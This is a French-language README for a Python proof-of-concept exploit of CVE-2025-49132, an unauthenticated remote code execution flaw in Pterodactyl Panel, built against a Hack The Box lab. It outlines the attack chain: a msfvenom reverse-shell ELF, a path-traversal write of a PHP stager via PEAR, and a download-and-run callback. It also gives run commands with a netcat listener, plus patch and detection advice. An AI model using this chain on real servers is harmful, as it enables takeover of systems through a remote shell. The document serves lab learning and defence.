Pterodactyl Panel Locale RCE (CVE-2025-49132) — PoC pédagogique
Uniquement pour des tests autorisés et pour l’apprentissage défensif.
Ce dépôt est destiné à des environnements de laboratoire contrôlés (par exemple, des configurations de type CTF/HTB) où vous possédez la cible ou disposez d’une autorisation écrite explicite pour la tester.
Contexte
Ce dépôt contient une preuve de concept pédagogique en Python (pterodactyl_rce.py) pour une vulnérabilité réelle affectant les versions du panneau Pterodactyl antérieures à v1.11.11. Dans certaines configurations vulnérables, un attaquant non authentifié peut parvenir à une exécution de code à distance via le point de terminaison /locales/locale.json en raison d’une gestion inappropriée des paramètres locale et namespace.
Cette variante du PoC cible les environnements où PHP-PEAR est installé et a été construite/validée contre la machine Hack The Box retirée Pterodactyl : https://app.hackthebox.com/machines/Pterodactyl. Elle peut également fonctionner dans d’autres configurations de laboratoire où les mêmes conditions sont réunies.
Référence de la vulnérabilité
- Avis GitHub : GHSA-24wv-6c99-f843 (CVE-2025-49132)
- Affecté : Pterodactyl Panel < 1.11.11
- Corrigé dans : v1.11.11 (commit de correctif
24c82b0…)
À un niveau élevé, le PoC enchaîne les étapes suivantes :
- Génère une charge utile reverse TCP ELF Linux x64 avec
msfvenom.
- Sert cet ELF via un serveur HTTP (une requête, puis arrêt).
- Exploite la gestion vulnérable de
/locales/locale.json pour écrire un « stager » PHP dans /tmp (via une astuce de pearcmd config-create de PEAR).
- Déclenche le stager via le point de terminaison des locales afin qu’il :
- télécharge l’ELF dans
/tmp,
- le rende exécutable,
- l’exécute pour établir une connexion retour vers votre listener.
Le script utilise un client HTTP brut plutôt que curl pour l’étape d’« envoi », car certains outils peuvent normaliser ou encoder les caractères d’une manière qui casserait la requête forgée.
Remarque : Ce README reste volontairement à un niveau défensif/pédagogique. N’utilisez le code que dans des environnements que vous êtes autorisé à tester.
Prérequis (locaux)
- Python 3.10+ (testé avec la bibliothèque standard uniquement)
msfvenom disponible dans $PATH (Metasploit Framework)
nc (netcat) si vous souhaitez que le PoC démarre un auto-listener
- Accès réseau entre votre machine de laboratoire et votre instance Pterodactyl de laboratoire
Configuration
Le script attend actuellement un nom d’hôte HTB du panneau dans le code source :
host = "panel.pterodactyl.htb"
De plus, le chemin codé en dur vers PHP-PEAR est défini sur : ../../../../../usr/share/php/PEAR.
Si vous testez cela en dehors de la machine Pterodactyl, vous devrez ajuster ce chemin en fonction de votre configuration locale.
Utilisation (laboratoire contrôlé uniquement)
1) Exécution de base (auto-listener activé)
python3 pterodactyl_rce.py <LHOST> <LPORT>
<LHOST> : votre IP de rappel accessible par le serveur de laboratoire
<LPORT> : port pour recevoir le shell inverse
2) Exécution sans auto-listener
Si vous préférez utiliser votre propre listener :
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen
Ensuite, dans un autre terminal :
nc -lvnp <LPORT>
Exemple (espace réservé)
python3 pterodactyl_rce.py 10.10.14.225 5555
Sortie / à quoi s’attendre
Déroulement typique :
- Génère une charge utile ELF (nom de fichier aléatoire comme
shell_ab12cd34)
- Démarre un serveur HTTP à usage unique sur
:8080
- Crée un stager PHP dans
/tmp/<random>.php
- Déclenche le stager
- Supprime le fichier ELF local après le déclenchement
- Affiche une astuce pour améliorer votre shell (PTY)
Capture d’écran de l’exploitation réussie :

Problèmes connus / Notes de laboratoire
- Instabilité du laboratoire : La machine/service cible peut être instable (timeouts, 5xx intermittents, exécution retardée). Si une exécution échoue, réessayez après une courte pause.
- Réutilisation d’anciennes charges utiles : L’environnement peut parfois déclencher un fichier plus ancien déjà envoyé/stagé. Le script nettoie uniquement un fichier local sur la machine attaquante
mais ne touche pas aux fichiers du dossier
/tmp/ sur la machine cible.
Solutions possibles :
- Relancez avec un nouveau nom de charge utile aléatoire (comportement par défaut de ce script).
- Changez le port initial de
http.server de 8080 vers un autre port.
- Changez votre port de listener (par exemple, 4444 → 5555) et regénérez la charge utile.
- Assurez-vous que votre serveur HTTP sert le fichier actuel (arrêtez tout serveur/listener précédent).
- Si vous avez un accès, supprimez manuellement les anciens artefacts
/tmp/<name>.php sur la cible ; sinon, attendez un moment puis réessayez.
Correctif / atténuation
- Mettez à niveau vers Pterodactyl Panel v1.11.11 ou une version ultérieure.
- Il n’existe pas de solution de contournement dans l’application autre que le correctif ; vous pouvez bloquer le point de terminaison
/locales/locale.json au niveau du serveur web, mais cela risque de casser les fonctionnalités de localisation.
Idées de détection
Recherchez des requêtes suspectes comme :
- Des requêtes vers
/locales/locale.json avec des séquences de traversée inhabituelles dans locale=
- Des valeurs
namespace= étranges (noms inattendus, chaînes longues, caractères inhabituels)
- La création soudaine de fichiers inattendus dans
/tmp/ sur l’hôte du panneau
Corrélez les journaux web avec :
- de nouveaux processus lancés par l’utilisateur
www / PHP-FPM
- des connexions sortantes vers des destinations/ports non standards
- une utilisation inattendue de
curl/wget depuis l’hôte du panneau
Notes sur l’utilisation responsable
- Ne scannez pas et ne testez pas d’instances publiques.
- Si vous êtes l’opérateur d’une instance vulnérable, traitez cela comme critique et corrigez immédiatement.
Remerciements
- PoC original : Pterodactyl Panel (< 1.11.11) — Remote Code Execution (RCE) (EDB-ID : 52341, CVE-2025-49132) par Zen-kun04
https://www.exploit-db.com/exploits/52341
- Reporter / crédit de découverte : l’avis GitHub crédite @azimoff337 pour avoir signalé GHSA-24wv-6c99-f843 / CVE-2025-49132.
- Base de données d’avis GitHub / processus CVE : pour le suivi et la publication des détails de la vulnérabilité.
- Hack The Box (HTB) : ce PoC a été construit/validé dans un environnement de laboratoire contrôlé de type HTB pour l’apprentissage et la recherche défensive.
Aucun spoiler pour le contenu HTB actif.